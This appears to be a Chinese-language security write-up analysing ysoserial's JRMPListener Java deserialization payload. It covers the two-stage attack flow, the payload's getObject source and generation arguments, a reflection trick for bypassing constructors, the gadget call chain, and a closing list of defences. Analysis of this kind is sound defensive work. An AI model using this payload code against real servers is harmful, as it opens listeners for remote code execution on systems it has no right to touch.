payloads/JRMPListener
字数 958 2025-08-05 08:19:37
JRMPListener 攻击原理与利用分析
概述
JRMPListener 是 Java 远程方法协议(Java Remote Method Protocol)的一个利用模块,主要用于在 Java 反序列化漏洞中建立远程控制通道。本文将详细分析其工作原理、攻击流程和实现细节。
攻击流程
- 生成并发送 JRMPListener payload:攻击者生成 JRMPListener payload 并发送给目标服务器
- 服务器反序列化:当服务器反序列化该 payload 后,会开启一个指定端口进行监听
- 发送 exploit:攻击者使用 exploit/JRMPClient 模块发送实际攻击 payload
- 完成攻击:服务器反序列化攻击 payload,执行恶意代码
技术实现分析
Payload 生成过程
通过 ysoserial 工具生成 JRMPListener payload 的核心代码如下:
// 设置启动参数
主类: ysoserial.GeneratePayload
参数: JRMPListener 1199
JRMPListener.getObject 方法分析
public Object getObject(final String command) throws Exception {
// 获取监听端口
int jrmpPort = Integer.parseInt(command);
// 创建 UnicastServerRef 对象
UnicastServerRef ref = new UnicastServerRef(jrmpPort);
// 使用反射构造 UnicastRemoteObject 对象
Remote uro = Reflections.createWithConstructor(
ActivationGroupImpl.class,
RemoteObject.class,
new Class[] { RemoteRef.class },
ref
);
// 设置端口号
Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort);
return uro;
}
反射构造对象的关键技术
ysoserial 使用 ReflectionFactory.newConstructorForSerialization() 方法来绕过常规的构造函数限制:
// 获取 Person 类的有参构造函数
Constructor<Person> personConst = Person.class.getDeclaredConstructor(String.class);
// 创建 User 类的 Constructor 对象
Constructor constructor = ReflectionFactory.getReflectionFactory()
.newConstructorForSerialization(
User.class,
personConst
);
// 实例化对象
User user = (User) constructor.newInstance("xxx");
这种方法的特点:
- 不需要目标类(User)有可用的构造函数
- 可以使用父类(Person)的构造函数来创建子类实例
- 适用于各种复杂的类继承关系
Gadget 调用链分析
完整的调用链如下:
UnicastRemoteObject.readObject(ObjectInputStream) line: 235
UnicastRemoteObject.reexport() line: 266
UnicastRemoteObject.exportObject(Remote, int) line: 320
UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383
UnicastServerRef.exportObject(Remote, Object, boolean) line: 208
LiveRef.exportObject(Target) line: 147
TCPEndpoint.exportObject(Target) line: 411
TCPTransport.exportObject(Target) line: 249
TCPTransport.listen() line: 319
关键点:
- 反序列化触发
UnicastRemoteObject.readObject - 调用
reexport()方法重新导出远程对象 - 最终通过 TCPTransport 在指定端口开启监听
防御措施
- 升级 Java 环境:使用最新版本的 JDK/JRE
- 限制反序列化:对反序列化操作进行严格管控
- 使用安全框架:如 Apache Shiro、Spring Security 等
- 网络隔离:限制不必要的网络端口开放
- 代码审计:检查项目中是否存在不安全的反序列化操作
总结
JRMPListener 利用 Java 反序列化漏洞和 RMI 机制,通过精心构造的序列化对象在目标服务器上开启监听端口,为后续攻击创造条件。理解其工作原理有助于更好地防御此类攻击。